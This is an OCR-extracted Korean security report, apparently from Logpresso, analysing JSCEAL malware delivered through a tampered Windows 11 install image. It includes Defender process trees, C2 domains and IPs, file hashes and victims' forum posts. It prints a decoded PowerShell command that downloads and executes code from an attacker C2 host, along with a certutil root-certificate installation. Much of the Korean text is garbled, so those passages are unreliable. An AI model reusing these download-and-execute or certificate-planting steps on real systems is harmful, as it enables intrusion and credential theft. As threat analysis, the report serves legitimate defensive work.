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{fileName=preflight.js,
sha256=d21e2193f80378603c15bf71b6a7669c8a9266a04f34ea3502c82f1d80532bec,

threatFamilyName=CustomEnterpriseBlock, filePath=C:\Windows\System32\DomainAuthHost,
threatName=EUS:Win32/CustomEnterpriseBlock!cl}
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) - Domain Rt 242l
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-> wl.]local-mailer[.Jcom/?OSVersionlnstallerV1Task (/104.21.17.189:80)
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2 desktop-toe8ozh  Risklevel mmm High " 2 NTAUTHORITY\SYSTEM &
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Windows11

l@ £/ Managealert J” Tunealert -
Alert story /' Maximize a
& Details  Recommendations
® Process tree  Alert timeline
INSIGHT

© V Expandall [ Copystory to clipboard Quickly classify this alert

s, S & Classify alerts to improve alert accuracy and get more insights
® 51348 PM [784] wininit.exe about threats to your organization.

S1348PM v [1124) services.exe v Classify alert
5
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= Alert state A
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& Classification Assigned to

5:2535 PM v (5804] node.exe -r CAWINDO! 200 js CAWIND D v Not Set Unassigned

Set Classification

u] # Activity that might lead to information stealer wam High © Detected ® New
7 Alert details N
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Suspicious root certificate installation mmE Medium @ Detected ® New dae352ef9d-bags-45a3- Persistenice

2 b221-7cf93cbcac89_1
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DETECTION DETAILS RELATIONS COMMUNITY
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Passive DNS Replication (2) © 4
Date resolved Detections Resolver P

20250725 /%4 VirusTotal 104.21.17.189
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0qghkjc.local-mailer.com 6/%4 1726707821 1042117189 @
P

| wl.Jlocal-mailer[.Jcom ZO[2I0] &K HHE MHZ 2H&stEl AIF 221 240l 5HH |

iR C2 Z=0j|QIQI sd1s[.Jtaylor-convert[.JcomE VirusTotal?| 7|24 2025 82 2120 {222 &M
St &l Ao = SQIEILICH = 0] Y OjQI2 2 T|AVF 2 AR 2|22 He2|dH OI0|A2ATEo|| A E 5t
L=

=
84 13%0ll= iy =0|elt S4let E40] AR FRpASLICH

—

| 05 & =2 U Fek e

&H=0f Windows 11 22| D|C|0{7} A5 O] 24| A2 A2 OtLUASLICH ZF 7 e B3t 20| 25

iy

In

« 2+ ZHH|: Media Creation Tool 2 ZHE Windows A%| O|C|0|2 Mg Q. 2OIZAs Y
26100.2033, 26100.4349 0| A AL DE CIRZE WS SIS

HIZE ZH|: =ES0| At HG2[E Windows & HE A
H2| Ot E 2= B R

- oT

Py ﬂJ

0|2 S0 2T A7} AHL{Of| 2|23 CHR LG Gram EE0|AM= 0| 2|7t Y=, 0] 7|7|= 21 A| A
A Zl Windows 11 HomeOj|A{ 2t0| AR ProZ 2kl AL 5 Z10|ASLICH ISOS 2 CHREE6H A
AR0|= O] A LIEILER| QUASLICH = OO|A2AZET}HSOZ 3715k A x| 0|0|2|2F OEM #IH
1
[=]

k= 22| 0|0|R|= Aoliz|] gi2 A= EYLTY.

LS —

23

2]

ot

olr

2

| jra
o

9/21 © 2026 Logpresso Inc. All rights reserved.



JSCEAL ZH|Q! - Windows 11 8t=0{ &X| O|C|0] &l 24

= ARHS Hedt EIE RETVL O S5 A= HES 2= & 7HR[Y UL

e Erlztel — BH=SE SRR, 2852

ofjof Ztefo| MA|2E S HHZ HEE|7| AR AR FFE|= AFRE, 243150 EDRIE Yool MF ZAE|7|NX|Q| 7|8,

A=7| eS|
266% - 93% 19% - 7%

CoEE(EAE) e 3y ey /axg

H87| - 2024-11(F%F) - 2025-07-25 - 266%
5, 2024-10-08
YE 26100.2033 4| A2|A( KB5044284 ).

) 2024-10-118E (FF)

Media Creation ToolO| O] E2 H{Z 0|0|X| 4. $t=30] MX|2S E3H A tHE AIZ 3.

l:, 2025-04-01
local-mailer.com Z0¢! S8,

© 2025-06 (£3)

YL 261004349 BHE, S of|of X X 2ol

l:, 2025-07-25
w.local-mailer.com MEZ0|QI DNS S5

gdstet € - 2025-07-25 - 2025-08-13 - 199

@ 2025-07-28 ()
YAt A 7hE old. T MENAH ol Ziejo| MR AYTES Le{ts| AR

. 2025-07-28
Q7 5Al, EDRO| &X| 218 Y. 2% 241208, ¥3}80| w.local-mailer.com S4I

o
Pad
o
_0'1
b~
=
4T
M
=
2
22

@ 2025-07-31
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ol

14| 2|0t install.esd2t

Media Creation Tool2 €2| D|L|0{E 25 If CHEE2| DY 2 0|0 LEF HEZ HS
CHE ot at g2 o] & ot

boot.wim & TtUP2 £ O|C{0}S 2E= Yol M dgE LT 22| 0]T]0f2
= It 4 LAt 22| OO E TE A|H22 7|ZEEs A22 0|5 &g 4 AFHC Tt 22| 0|Y
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A7}
Ofof A HZE|US 7Hsd0l A T2 O F 7= SAYLICH

PC » DVD EZ2t0|E (F) ESD-ISO » sources »

o2 RS LR v 2% a7

| ] install.esd 2025-08-15 2% 1:44  ESD It 4,407,211
| boot.wim 2025-08-15 2% 1:44 WM It 593,301KB
migcore.dll 2025-06-08 27 1:35 S8 =21 BY 9,050KB
€] setupcore.dll 2025-06-08 27 1:35 28 =21 3 2,858K8B
setupplatform.dl 2025-06-08 27 1:35 S8 Z=I% 2% 9,502KB
[] sflistrs1.dat 2025-06-08 2% 1:35  DAT L 5,463K8B
L] sflistws.dat 2025-06-08 27 1:35  DAT &g 2,548KB
[ sflistwb.dat 2025-06-08 27 1:35  DAT HHY 3,009KB
[ sflistwt.dat 2025-06-08 27 1:35  DAT I+Y 4,820K8
updateagent.dll 2025-06-08 27 1:35 S| ZZI1YE =% 3,882KB
upgradeagent.dl 2025-06-08 7 1:35 28 Z2IT &Y 3,226KB
windlp.dil 2025-06-08 27 1:35 S8 IR Y 1,522K8
winsetup.dl 2025-06-08 27 1:35 28 Z=J% &% 2,882KB
2] wpx.dil 2025-06-08 27 1:35 28 Z2IE 2% 1,390KB
acmigration.dll 2025-06-08 27 1:35 S8 IZ2IW Y 614KB
acres.dll 2025-06-08 7 1:35 S8 IR Y 342K8
actionqueue.dll 2025-06-08 27 1:35 S| ZZIE = 262KB
4] adfscomp.dll 2025-06-08 27 1:35 22 Z2JE % 74KB
admtv3check.dll 2025-06-08 27T 1:35 SJE =2 =T 02KB
aeinv.dll 2025-06-08 @7 1:35 S8 =21 BY 06KB

O| HEJI OO|AZ2ARE L& YUE TO|Z2fQI0)| A LH3H=R], BHIZA|O] %‘% H= CDNOfIM 24SH=2|= &
ZALO|M Etolst 4~ Qi & LTt Cok SHAISH 42 Media Creation Tool2 2H= 20| Windows 11 Az| O|C
Ofof| 2F 1 A7 2 3HCH= ALY

2O A= 2025H 82 13Y £ AIOHS Microsoftlfl MIE6tESLICH Microsofte H4 3 HE S
Ol2k= Z|X[Q| 3|41t BHH B HA 0|22 QLS OLE, 2 H 1A &l A|- (2026 S82)IHK| AL

ZUHLE RX[ LEZ0 CHet 24 342 2X| ZYSLICH

11/ 21 © 2026 Logpresso Inc. All rights reserved.



il =7

—_ -

07

=g}

JSCEAL ZH|Q! - Windows 11 8t=0{ &X| O|C|0] &l 24

FAFAHSRLIEl AlAIZ

Ab 2HYOIIM, Microsoft Q&A(Microsoft Learn 7R LIE| Z&)0f S5t "DomainAuthHost" 2+
& 2401 20259 7€ 31Y 25 3A| 5881} 44| 468, <

=
A (C:wWWindowsWSystem32)2 CHE HAIS

2202 J g 2E ST,

|SH
[N

[c z

-

o 435

« https://learn.microsoft.com/en-us/answers/questions/5509503/domainauthhost-malware-infection-

c-windowssystem32 - G***, 2025 H 7 & 31 & 2% 3:58

+ https://learn.microsoft.com/en-us/answers/questions/5509569/domainauthhost-malware-what-

additional-steps-shoul — H*xx, 2025 4 7 & 31 & 2= 4:46

CH-o 20| ZaH-E

M| 25 LRYUGHCE

« No matter how many times | deleted it it was reinstalled.

[ couldn 't understand how the hacker performed 2FA even though they accessed from my IP.

« A filter was added to Gmail that marked all legitimate emails as read and moved them to trash,

preventing me from knowing | received emails. | deleted the filter.

|/ deleted all 3 schedules.

and deleted them.

| also deleted reqgistry values registered under the DomainAuthHost name.

| discovered multiple trojans and hacking tools registered in Windows Defender's exclusion list

« Andlam worried because | saw in another article that the problem persisted even after formatting.

« Finally, | performed a Farbar Scan about 8 hours after the hack.

I'm a bit worried because there might be parts | missed. the hacker might have temporarily stopped

attacks, and Farbar might not detect inactive network malware.

5t 22O} TOf A= SXI3H AY

—

A =2

Phone-computer file sharing program automatic execu
tion phenomenon occurred.

| installed a cryptocurrency-related program few days a
go and deleted it after 5 minutes.

OTP was also set up, but it was linked to the hacked ac
count.

Phone-computer file sharing program was set to "repe
at every 15 minutes indefinitely after trigger".

12/ 21

Google Quick Share automatic execution phenomenon
occurred.

| installed a cryptocurrency-related program around Jul
y 28 and deleted it after 5 minutes.

Google Authenticator was also set up but was linked t
o the hacked Google account.

Google Quick Share was set to "repeat every 15 minute
s indefinitely after trigger".
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2% 222 PHHOR 22541 AsLIT

—

= AAI20| S&5t= of|eF 21 0|&("SustemOnStartup”, "OSResourcesinstallervV2")2 21X 2|A7} &0l
St OSVersionInstallerV1Task2t @212 Ct2X|8F LRIt FAFRL|CEH £3] "SustemOnStartup”& "SystemOnS
tartup"e| REA}Z 20|04, O] LER & AA 20| SL5HA HEFE U S = "DomainAuthHost" £=
S OfjoF 2T o2 HMTHH 0] & AAI=0| 2Tl ==& U T

S AINZC| 2 Q= THESHA| RSSLICH CHEE AIA AI-0| 48T E A Q10| 2dat
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el 27 158

C2 () w[.]local-mailer[.]Jcom

C2 () sd1s[.Jtaylor-convert[.Jcom

20HA 2hed =02l warmtogrove[.]net/script, faro[.Jwataical.]live, api[.]Jgulgowsks[.]co

C2 IP (Cloudflare Z2A|2 &) 104[.]21[.]17[.1189, 172[.167[.1178[.]21
MD5 (app.jsc) 0b8015cbb1ffdcoefe6a306ff5b1115¢f
MD5 (preflight.js) 28e756c61961b10a026999¢80e6f3f9b

d21e2193f80378603c15bf71b6a7669c8a9266a04f34ea3502c82f1d80

SHA256 flight.j .
(preflight js) 532bec (Defender EfA|H: Trojan:JS/JSCeal IMTB)

AgIE E= C:wWindows¥System32#DomainAuthHost
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R SAHAXNE

- 21 AN S0 ZEE Ofjof 219 HA4 Ha

GO gle "OSResourceslnstallerv2" X @8 3 @ Q 3

TN &% oox] SIY w2 = H2SYY SHHEY| - L

= S =

mm Microsoft Learn
L https://learn.microsoft.com > en-us » answers > questions &

"DomainAuthHost" malware infection. C:\Windows\ ...

2025. 7. 30. — A schedule named "OSResourceslinstallerV2" executed schtasks /run /tn
OSResourcelnstallerV2 and multiple powershell -NoProfile -EncodedCommand ...

mm Microsoft Learn
L https://learn.microsoft.com > en-us > answers > questions 3

DomainAuthHost malware - What additional steps should | ...
2025. 7. 31. — A schedule named "OSResourceslinstallerV2" executed schtasks /run /tn
OSResourcelnstallerV2 and multiple powershell -NoProfile -EncodedCommand ...

| OSResourcesinstallerV2Z ZAHSH 21} |

Go gle "domainauthhost" X @3 @ Q 3

N 4% ooix] SYY RF2  H2SIY N SHGHET| £~

o|ZHE

Pl

O4LI27? "domain auth host"

mm Microsoft Learn
L https://learn.microsoft.com » en-us » answers > questions 2

DomainAuthHost malware - What additional steps should | ...
2025. 7. 31. — | installed a cryptocurrency-related program few days ago and deleted it after 5 minutes.

Looking at DomainAuthHost cases, | suspect infection ...

mm Microsoft Learn
u https://learn.microsoft.com > en-us > answers > questions ¥

"DomainAuthHost" malware infection. C:\Windows\ ...
2025. 7. 30. — | was infected with "DomainAuthHost" malware, and although | took additional
measures, | cannot be sure if my PC status is currently normal.

| domainauthhost2 ZA4SH A1} |
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« Windows Defender £41 531

Miceselt Dsisaer p -

= Alerts > Suspicious root certificate installation

spicious roo! ificate ins iol
il Suspicious root certificate installation
2 desktop-toe8ozh sk level mmm High " A NTAUTHORITY\SYSTEM ﬁ
; = Medium @ Detected @ New
Windows11
|o & Manage alert /> Tune alert
Alert story /' Maximize i
& Details  Recommendations
® Process tree  Alert timeline
INSiGHT
© V Bxpandall (D) Copy story to clipboard Quickly classify this alert
8/13/2025 % Classify alerts to improve alert accuracy and get more insights
® s1dePM Y [784] wininit.exe S about threats to your organization,
S1348PM v [1124] services.exe RN Classify alert
5
51354 PM v 12516] svchost.exe -k netsvcs -p - Schedule v
(=] Alert state A
52438 PM Y [10968] powershell.exe -NoProfile -EncodedCommand IwAGADEAYwAYADEANAASAGUAOAAtADAAZAAJA e W
o Classification Assigned to
5:25:35 PM v (5804] node.exe - CAWINDC 20 js CAWINDC \Dom... vV NotSet Yansiianed
Set Classification
(] $ Activity that might lead to information stealer wum High ® Detected @ New
7 Alert details 2
52542 PM [12176] certutilexe certutil -addstore -f root CAWINDOWS\TEMP\tmp-5804-nSSSvXrlcCK2 v
k2 ) Alert ID Category
# Suspicious root certificate installation mmE Medium ® Detected ® New dae352ef0d-bags-45a3- e
& b221-7cf93cbcac89_1
Detection source Service source
icrosoft Defender for
EDR Microsoft Defender f
Y v

| Defender 24 515 1 |

Mizesoh Defender /O — _

= Alerts > Activity that might lead to information stealer

@ @ Part of incident: Multi-stage incide int. View incident page X
® Activity that might lead to information
£ desktop-toeSozh  Rekievel mam High A NTAUTHORITY\SYSTEM #
stealer
0) Windows11 mmm High @ Detected @ New
8 & Managealert /% Tune alert
Alert story /" Maximize
® a
Details Recommendations
Process tree  Alert timeline
® e
INSIGHT
V Expandall [} Copy story to clipboard
o] Quickly classify this alert
o205, i
51348 PM [784] wininit.exe N Classify alerts to improve alert accuracy and get more insights
8 about threats to your organization.
51348PM v @ (1124 services.exe v
Classify alert
=
5:13:54 PM v [2516] svchost.exe -k netsvcs -p -s Schedule eV
& 3 Alert stat A
52438 PM v [10968] powershell.exe -NoProfile -EncodedCommand hwAGADEAYWAYADEANAASAGUAOAATADAAZARGA... =+ V/ ert state
Classification Assigned t
o 52535 PM v [5804] node.exe -r CAWINDO 200 js CAWINDC ADom.. vV i e
Y Not Set Unassigned
L  Activity that might lead to information stealer uam High ® Detected ® New set Classification
k%
52542 PM (12176) certutil.exe certutil -addstore -f root CAWINDOWS\TEMP\tmp-5804-nSSSvXrLcCK2 Y Alert details ~
R
¥ Ssuspicious root certificate installation mms Medium ©® Detected ® New Alert ID Category

daaf91290-c4ad-4976-8f98- Collection
Sc2e7fa3a03d_1

© i
<

| Defender 24 3tH 2 |
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i Microsoft Defender P search

Alert story X
a
Process tree  Alert timeline
A Collapseall [ Copy story to clipboard
8/13/2025 Gz
A
5:13:48 PM [784] wininit.exe
Process id 784
Execution details  Elevated
Image file path wininit.exe
S1348PM v [1124] services.e) 2
Process id 1124
Execution details  Token elevation: Default, Integrity level: System
Image file path C\Windows\System32\services.exe
Image file SHAT ~ 2598905e5b093aa6116175a4a970a7cb21ab3231
Image file creation  Jun 8, 2025 12:28:52 AM
time
Image file last Jun 8, 2025 12:28:52 AM
modification time
Signer © Microsoft Windows Publisher
Issuer Microsoft Windows Production PCA 2011
VirusTotal detection 0/72
ratio
PE metadata Y B )
Lo NT AUTHORITY\SYSTEM v
G154 PM “ 3 (VLAY meiabomnt avn Lo o A~
HAM S
| Defender 24 &}& 3 |
52430 2M v ©  [10968] powershell.exe -NoProfile -EncodedCommand IWAgADEAYWAYADEANAASAGUAOAATADAAZAAJADKALQAOADKANWBIACOAYQAJADYANQAAGEAMGAWADIAMQAZADMAYGATAGUAYQBIAAOAS. . ~
Command line TWAgAD: oA A 1 AGUAYQBi ARoASQBUAK AL gB5AS A [y
UACQB1AGU] AAL E. 0 i1, BtAGE] ) s
AG4ASQ! 1AHIAVGAXAFQ; TABBACA: '/
Command line # 1c2149e8-0d89-497e-a865-2202163b5eab [ia)
(decoded) Invoke-WebRequest -UseBasicParsing w.local-mailer.com?0SVersionInstallerViTask | Invoke-Expression
%
Process id 10968
Execution details  Token elevation: Default, Integrity level: System
Image file path CAWi i 1
Image file SHA1  8b595bbbf8695ce90eeeas12bdd0ecc79accbc5d
Image file creation Jun 8, 2025 12:28:37 AM
time
Image file last Jun8, 2025 12:28:37 AM
modification time
Signer © Microsoft Windows
Issuer Microsoft Windows Production PCA 2011
VirusTotal detection 0/72
ratio
BEmetadata ) powershell.exe v
Yser NT AUTHORITY\SYSTEM v
HM S
| Defender 24 &tH 4 |
52438 PM v [10968) powershell.exe -NoProfile -EncodedCommand IWAGADEAYwAYADEANAASAGUAOAAADAAZAAZADKALQAOADKANWBIACOAYQAGADYANQAtAGEAMgAWADIAMQA2ADMAYGATAGUAYQBIAAOAS. . A
Command line Iu 1ACOAYQR4ADYANQATAGERMGAWADT 1AGUAYQBiAROA! ALY AR
UAcQB1 Ui L B E. JABhAHI . Ui 'wBTAFYAZQBYAHMAaQBY :
AG4A 1AHIAVGAXAFQAYQBZAGIAL HYAb >
Command line # 1c21498-0d89-497e-2865-a202163b5eab [ia)
(decoded) Invoke-WebRequest -UseBasicParsing w.local-mailer.com?0SVersionInstallerViTask | Invoke-Expression
%
Process id 10968

Execution details  Token elevation: Default, Integrity level: System

Image file path L~ 1.4
Image file SHA1 8b595bbbf8695ce90eeeat12bdd0ecc79accbeSd
Image file creation  Jun 8, 2025 12:28:37 AM

time

Image file last Jun 8, 2025 12:28:37 AM

modification time
Signer
Issuer

VirusTotal detection
ratio

PE metadata

User

© Microsoft Windows
Microsoft Windows Production PCA 2011
o072

" powershell.exe

NT AUTHORITY\SYSTEM

| Defender 24 3tH 5 |
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5:25:42 PM
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[5804] node.exe -r CAWINDO! js CAWINDC i ! jsc A
Command line "node.exe" -r C:\WINDOWS\system32\DomainAuthHost\preflight.js C:\WINDOWS\system32\DomainAuthHost\app.jsc D
4
Process id 5804
Execution details  Token elevation: Default, Integrity level: System
Image file path (% 2\D d
Image file SHA1 51c4317c211754837a01626e28461c36e27d6a3
Image file creation  Aug 13, 2025 5:25:10 PM
time
Image file last Jun 13,2024 6:11:24 PM
modification time
PE metadata D niodéans v
User 2 NT AUTHORITY\SYSTEM v
Referenced in [ preflightjs A v
commandline
Refevenced‘ in D appjsc O X
commandline
¥ Activity that might lead to information stealer mam High @ Detected © New
= .
| Defender 24 3tH 6 |
8 [12176) certutil.exe certutil -addstore -f root CAWINDOWS\TEMP\tmp-5804-nSSSvXrLcCK2 B
Command line certutil -addstore -f root C:\WINDOWS\TEMP\tmp-5804-n58SvXrLcCK2 D
4
Process id 12176
Execution details  Token elevation: Default, Integrity level: System
Image file path C\Windows\System32\certutil.exe
Image file SHA1  6cf335290efb1a584c9ef770bb66628c1195bd4e
Image file creation  Jun 8, 2025 12:28:20 AM
time
Image file last Jun 8, 2025 12:28:20 AM
modification time
PE metadata, [ certutilexe v
Usst £ NT AUTHORITY\SYSTEM v

¥ Suspicious root certificate installation

| Defender 24 5tH 7 |
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-
% DomainAuthHost
<« 2 (o) > WPC > RACAI(C) > Windows > System32 > DomainAuthHost > Domainy
TR B w7)
Az ol§ FHS Wi Y as) &
W zeel 5 db 2025-08-13 2% 313 L §G
[7] 03hi05qs5z85.node NODE 1} & 1,653K8.
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Wl Deskrop » i
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« P FE HIER (w(.]local-mailer[.Jcom)

E o wlocatmailercom L0 G s

- (D 2/94 security vendors flagged this domain as malicious C Reanalyze == Similar v More v/

1%
wilocal-mailer.com CreationDate  Last Analysis Date €\
CommicRy eakalsccon 4monthsago  21daysago )

Score

DETECTION ~ DETAILS  RELATIONS ~ COMMUNITY

Passive DNS Replication (2) O 4
Date resolved Detections Resolver [
202507-25 0/9% VirusTotal 104.21.17.189
20050728 0/% VirusTotal 126747821
siblings (484) O 0
0locakmalercom /% 1042017089 1726707821
09nduxdlocalmailercom  2/94 1726707821 1042117189
D4Lxhelocal-mailercom 709 1042117180 1726707821
0784d Jocal-maifercom /%4 1042017.08 1726147821
Ocvigjb.loca-mailercom 8 /9% 1042017.089 1726107821
odlocal-maleccom /% 1726707821 1042117189
Odgngfzlocalmailercom 8 /%4 MELAT82 1042117189
Oflocal-mailercom 8/% IM61A7821 1042017189
OlSlolrdjlocat-mailercom 0 /94 1042017.08 1726107821
Ogghkjc.local-mailer.com 6/94 1726707821 104.21.17.189 @
. sasdunbns eniiBinsn o) i

| w[.Jlocal-mailer[.Jcom &t21 20l 5t&H |
2 HIAE EEHE Y Eor 25 &R EFOF JEL/ULICH
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